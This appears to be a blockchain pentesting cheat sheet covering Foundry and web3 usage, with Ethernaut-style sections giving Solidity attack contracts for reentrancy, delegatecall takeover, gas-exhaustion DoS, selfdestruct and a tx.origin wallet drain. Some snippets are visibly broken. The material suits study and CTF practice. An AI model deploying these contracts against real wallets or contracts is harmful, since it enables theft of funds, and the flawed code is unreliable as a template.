Blockchain Pentesting
A type of Digital Ledger Technology (DLT) that consists of growing list of records, called blocks, that are securely linked together using cryptography.
-
Explore Transactions
-
The most popular and trusted block explorer and crypto transaction search engine.
-
The Handshake Block Explorer.
-
The Ethereum blockchain explorer.
-
Explore Wallets
Interact with Ethereum using Foundry
Foundry is a blazing fast, portable and modular toolkit for Ethereum application development written in Rust.
- Setup Foundry
Please refer to the Foundry's repository for details.
To install foundryup
, run the following command to install foundry toolchain.
We can set the environment variable for Ethereum RPC URL to interact the Ethereum blockchain so that we don’t need to set the RPC url flag when running each command.
- Investigating a Chain
cast
command of Foundry performs Ethereum RPC calls.
# Get the Ethereum chain id
cast chain-id
# Get the symbolic name of the current chain
cast chain
# Get the current client version
cast client
# Get the current gas price
cast gas-price
# Get the latest block number
cast block-number
# Get information about a block
cast block
- Investigating Account
# Get the balance of an account in wei
cast balance <account_address or ens_name>
cast balance 0x123...
cast balance beer.eth
- Investigating Contract
# Get the source code of a contract from Etherscan
cast etherscan-source <contract_address>
cast etherscan-source 0x123...
- Send Transactions
We can interact with the contract that is already deployed in Ethereum chain if we have the private key of the account and the contract address.
# Call the function of the contract
cast send --private-key <private_key_addr> <contract_addr> "exampleFunc(uint256)" <argument_value_of_the_function>
cast send --private-key 0x123... 0xabc... "deposit(uint256)" 10
# Trigger the fallback function
# Call the nonexisting function e.g. "dummy"
cast send --private-key <private_key_addr> <contract_addr> "dummy()"
cast send --private-key 0x123... 0xabc... "dummy()"
# Trigger the receive function
# Send Ether to call the receive function
cast send --private-key <private_key_addr> <contract_addr> --value 10gwei
cast send --private-key 0x123... 0xabc... --value 10gwei
Interact with Ethereum using Python
- Preparation
To use “py-solc”, the Ethereum and Solidity are required in our system. So if you don’t have them yet, install them.
- Install Python Packages
- Compile Contract
import solc
with open('MyContract.sol', 'r') as f:
contract_source_code = f.read()
compiled_sol = solc.compile_source(contract_source_code)
contract_bytecode = compiled_sol['<stdin>:MyContract']['bin']
contract_abi = compiled_sol['<stdin>:MyContract']['abi']
Interact with Ethereum Chain
Create the Python script using web3 to interact with blockchain.
from web3 import Web3
rpc_url = "http://10.0.0.1:8545"
private_key = "0x1234..."
addr = "0x1234..."
contract_addr = "0x1234..."
# Connect
w3 = Web3(Web3.HTTPProvider(rpc_url))
print(w3.is_connected())
# Get the latest block
print(w3.get_block('latest'))
# Get the balance of specified address
balance = w3.eth.get_balance(addr)
print(f"Balance is {balance}")
Compile, Deploy, Run Smart Contract
When we created smart contract, we need to compile it and deploy to Ethereum. There are various way to do that.
- Ethereum Remix Extension in VS Code
Ethereum Remix extension is the VS Code plugin that can perform a variety of tasks such as verifying contracts.
-
- Connect
In the left pane, click Explorer tab and open the "REMIX" field at the bottom. Then choose "Run & Deploy" and select "Activate". The "Run & Deploy" window opens.
In Connection field, enter the address and click Connect.
-
- Compile
Next, select the file you want to compile, and click Compile.
-
- Deploy
After compiling, select the contract you want to deploy, then click Deploy.
-
- Run
If deploying the contract successfully, we can see functions of the contract.
Click TRANSACT or CALL at the function you want to.
After that, we can see the output at the bottom.
Solidity Assembly
[Reference]
- soliditylang
-
Simple Example
pragma solidity ^0.8.0;
contract Simple {
constructor(address _addr) {
assembly {
// Get the size of the code
let size := extcodesize(_addr);
// Allocate output byte array
code := mload(0x40);
// New "memory end" including padding
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))));
// Store length in memory
mstore(code, size);
// Retrieve the code
extcodecopy(addr, add(code, 0x20), 0, size);
}
}
}
- From Opcode
pragma solidity ^0.8.0;
contract Opcode {
constructor() {
address myContract;
bytes memory opcode = "\x60\x0a\x60\x0c\x60\x00\x39\x60\x0a\x60\x00\xf3\x60\x2a\x60\x80\x52\x60\x20\x60\x80\xf3";
assembly {
myContract := create(0, add(opcode, 0x20), mload(opcode))
}
// Some code here...
}
}
Solidity Contract Address Recovery
[Reference]
- ethereum.stackexchange
-
Create a Contract for Recovery Address
This contract can compute the contract address which has been lost.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ContractRecovery {
constructor(address _creatorAddress) {
address lostAddress = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(_creatorAddress), bytes1(0x01))))));
// some code here ...
}
}
Another way is to use Etherscan transaction history.
Solidity Conversion
[Reference]
- solidity_conversions
-
Explicit Conversion
When we cast a smaller type to a bigger type, there's no problem. However, when we cast a bigger type to a smaller type, data may be lost partially.
- Uint/Int
// uint32 -> uint16
uint32 a = 0x12345678;
uint16 b = uint16(a); // 0x5678
// uint16 -> uint32
uint16 a = 0x1234;
uint32 b = uint32(a); // 0x00001234
- Bytes
// bytes2 -> bytes1
bytes2 a = 0x1234;
bytes1 b = bytes1(a); // 0x12
// bytes2 -> bytes4
bytes2 a = 0x1234;
bytes4 b = bytes4(a); // 0x12340000
Solidity Delegatecall Attack
Solidity’s delegatecall is vulnerable to override the storage values in the caller contract.
-
Exploitation
Reference: https://github.com/Macmod/ethernaut-writeups/blob/master/4-delegation.md
-
- Vulnerable Contract
Below is the example contracts from Ethernaut. That uses delegatecall
method in the fallback()
function.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract DelegateA {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract DelegateB {
address public owner;
DelegateA delegateA;
constructor(address _delegateA) {
delegateA = Delegate(_delegateA);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegateA).delegatecall(msg.data);
if (result) {
this;
}
}
}
-
- Attack
Call the pwn
function by sending transaction because delegatecall
exists in fallback
function. This changes the owner of the DelegateA contract to msg.sender
because the delegatecall
overrides the slot value in the callee contract (it's DelegateA). In short, we can become the owner of this contract.
- Upgradeable Contract Storage Overriding
If the contract is upgradeable using Proxy contract and the slot order is difference, we may be able to manipulate arbitrary slot values with delegatecall.
contract ExampleV1 {
uint public balance; // <- we can overwrite this from the ExampleV2 contract
}
contract ExampleV2 {
address public owner; // <- we can overwrite this from the ExampleV1 contract
}
Solidity Denial of Service Attack
We can denial the Solidity execution by consuming all gas using various ways.
-
DoS with Assembly Invalid Function
The invalid()
opcode in in-line assembly consumes all the gas and causes Dos for the contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Victim {
address public owner;
uint public balance;
function withdrawUser(address _address) {
(bool success, ) = _address.call{value: balance}("");
// Some code ...
}
}
contract Attack {
Victim target;
constructor(address _targetAddress) {
target = Victim(_targetAddress);
target.withdrawUser(address(this));
}
fallback() payable external {
assembly {
invalid()
}
}
}
Solidity Overflow & Underflow
Solidity is vulnerable to overflow and underflow of uint variables on the version <0.8.
- Overflow
- Underflow
Solidity Reentrancy Attack
Reentrancy Attack is a typical vulnerability of the Solidity smart contracts involving withdraw and deposit in Solidity.
[Reference]
-
Create a Malicious Contract
The Attack contract executes the following:
- Attack contract deposits the address itself by invoking the Victim
deposit
function. - Attack contract calls the Victim
withdraw
function. - The fallback function of Attack contract is called and
withdraw
to send Ether to Attack contract.
pragma solidity ^0.8.0;
contract Victim {
function deposit(address _to) public payable;
function withdraw(uint _amount) public;
}
contract Attack {
Victim public victim;
constructor(address _victimAddress) {
// Instantiate a victim contract
victim = Victim(_victimAddress);
}
function attack(uint v) external payable {
// Deposit to this contract (Attack) address
victim.deposit{value: v}(this); // victim.deposit.value(v)(this);
victim.withdraw();
}
// Fallback function will be called when `deposit` function of the Victim contract called and send Ether to this contract.
function() external payable {
if (address(victim).balance >= 1 ether) {
victim.withdraw();
}
}
}
After compiling, deploy it and run attack
function to get balances of the victim contract.
Solidity Self Destruct Attack
Solidity’s ‘selfdestruct’ function may be used to destruct a target contract and steal the balance by an attacker.
- Create a Malicious Contract for Destructing Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.0;
contract Attack {
function attack(address _address) payable public {
// the remaining Ether sent to _address when destructing
selfdestruct(_address);
}
}
Solidity Smart Contract Attack Methodology
When attacking target contract, we can create an attack contract which loads the target contract and abuse it.
- Create an Attack Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Define interface for victim contract
interface IVictim {
// Set the Victim contract functions
function example1() external;
function example2(uint) external;
}
// Define Attack contract to compromise the victim contract
contract Attack {
IVictim public victim;
constructor(address _victimAddress) {
// Initialize Victim contract (interface)
victim = IVictim(_victimAddress);
}
// Create a function to be used for attacking the victim contract
function attack() public {
victim.example1();
victim.example2(1);
}
}
Solidity Storage Values Analysis
[Reference]
- ethernaut.openzeppelin
-
Data Byte Sizes
Reference: https://tomatosauce.jp/datatype-bytesize/
In Solidity, each data type has the following size:
Type | Bytes |
---|---|
bool | 1 |
bytes1 | 1 |
bytes8 | 8 |
bytes16 | 16 |
bytes32 | 32 |
address | 20 |
contract | 20 |
uint8/int8 | 1 |
uint16/int16 | 2 |
uint32/int32 | 4 |
uint64/int64 | 8 |
uint128/int128 | 16 |
uint256/int256 | 32 |
- Access Storage Slot Values
Reference: https://coinsbench.com/12-privacy-ethernaut-explained-8ee480f303f2
Below is the Solidity contract example.
The Solidity’s each slot can store data until 32 bytes. For example below, the ‘Slot 2’ stores multiple variables because each value is just 1 byte, which are 2 bytes in total so less than 32 bytes.
contract Example {
// Slot 0 (1 byte)
bool public isOk = false;
// Slot 1 (32 bytes)
uint public money = 100;
// Slot 2 (1 byte)
uint8 private score = 10;
// Slot 2 (1 byte)
uint8 private quantity = 5;
// Slot 3, 4, 5 (32 bytes for each element of array)
bytes32[3] private data;
}
Using Web3.js, we can get values of the above variables from outside.
// Access slot 0
web3.eth.getStorageAt(contract.address, 0);
// Access slot 1
web3.eth.getStorageAt(contract.address, 1);
// Access slot 2
web3.eth.getStorageAt(contract.address, 2);
// Access slot 3 (data[0])
web3.eth.getStorageAt(contract.address, 3);
// Access slot 4 (data[1])
web3.eth.getStorageAt(contract.address, 4);
// Access stlo 5 (data[2])
web3.eth.getStorageAt(contract.address, 5);
// Proxy storage slot (0x123...)
web3.eth.storageAt(contract.address, "0x123...");
- Display Values
There are methods to see the storage slot values in appropriate format.
const slotValue = await web3.eth.getStorageAt(contract.address, 0);
// for string value
web3.utils.toAscii(slotValue);
Solidity Tx Origin Attack
The Solidity 'tx.origin' should not be used for authorization e.g. when transferring ether to a wallet because tx.origin is the address of EOA (Externallly Owned Account) that the originated the transaction, not the address of caller for the function on the smart contract (this is msg.sender).
[Reference]
- solidity-tx-origin-attacks
-
Inappropriate User Authorization
Reference: https://docs.soliditylang.org/en/develop/security-considerations.html#tx-origin
// Vulnerable: comparing the contract owner with tx.origin
require(tx.origin == owner)
// Vulnerable:
require(tx.origin == msg.sender)
-
- Vulnerable Wallet
For example, the following wallet validates a user with tx.origin == owner
. However, this tx.origin
is vulnerable because tx.origin
is not
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
contract VulnWallet {
address owner;
constructor() {
owner = msg.sender;
}
function transferTo(address payable _to, uint amount) public {
require(tx.origin == owner);
_to.transfer(amount);
}
}
-
- Implement Attack Wallet using the Vulnerable Wallet
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
interface VulnWallet {
function transferTo(address payable _to, uint amount) external;
}
contract AttackWallet {
address payable owner;
constructor() {
owner = payable(msg.sender);
}
receive() external payable {
VulnWallet(msg.sender).transferTo(owner, msg.sender.balance);
}
}
Web3.js Cheat Sheet
- Blocks
- Converting
// Wei to Ether
web3.utils.fromWei('1000000000000000000', 'ether')
// "1"
// Ether to Wei
web3.utils.toWei('0.001')
// "1000000000000000"
- Contract
// Initialize a contract
const tokenAbi = [...]; // JSON interface
const tokenAddress = '0x1234...';
const contract = new web3.eth.Contract(tokenAbi, tokenAddress);
- Send Ether to Contract
// Send ether to the contract with interacting ABI
contract.example({value: web3.utils.toWei('0.001')})
// Send ether to the contract from outside
contract.sendTransaction({value: toWei('0.0001')})
// Send ether to the contract from outside using `call` function to invoke fallback
(bool success,) = payable(_victim_contract_address).call{value: '1.0'}("");
// Send etehr to the contract from outside by invoking specific function
contract.exampleFunc{value: msg.value}(address(this))
- Get Storage of Contract
// the second arguement is the index of the storage.
web3.eth.getStorageAt(contract.address, 0)
web3.eth.getStorageAt(contract.address, 1)
- Function Signature
We can retrieve a function signature with encodeFunctionSignature
. We can also use it to invoke the contract function via sendTransaction
.
const example = web3.eth.abi.encodeFunctionSignature("example()")
// We can invoke the function using this signature
await web3.eth.sendTransaction({from: userAddress, to: contractAddress, data: example})
- Function Call
const myAddress = "0x123...";
const functionSignature = {
name: 'exampleFunc',
type: 'function',
inputs: [{type: 'address', name: '_address'}]
}
const params = [myAddress]
const funcData = web3.eth.abi.encodeFunctionCall(functionSignature, params)
// Execute the function
await web3.eth.sendTransaction({from: myAddress, to: contract.address, funcData})
- Send Ether to Contract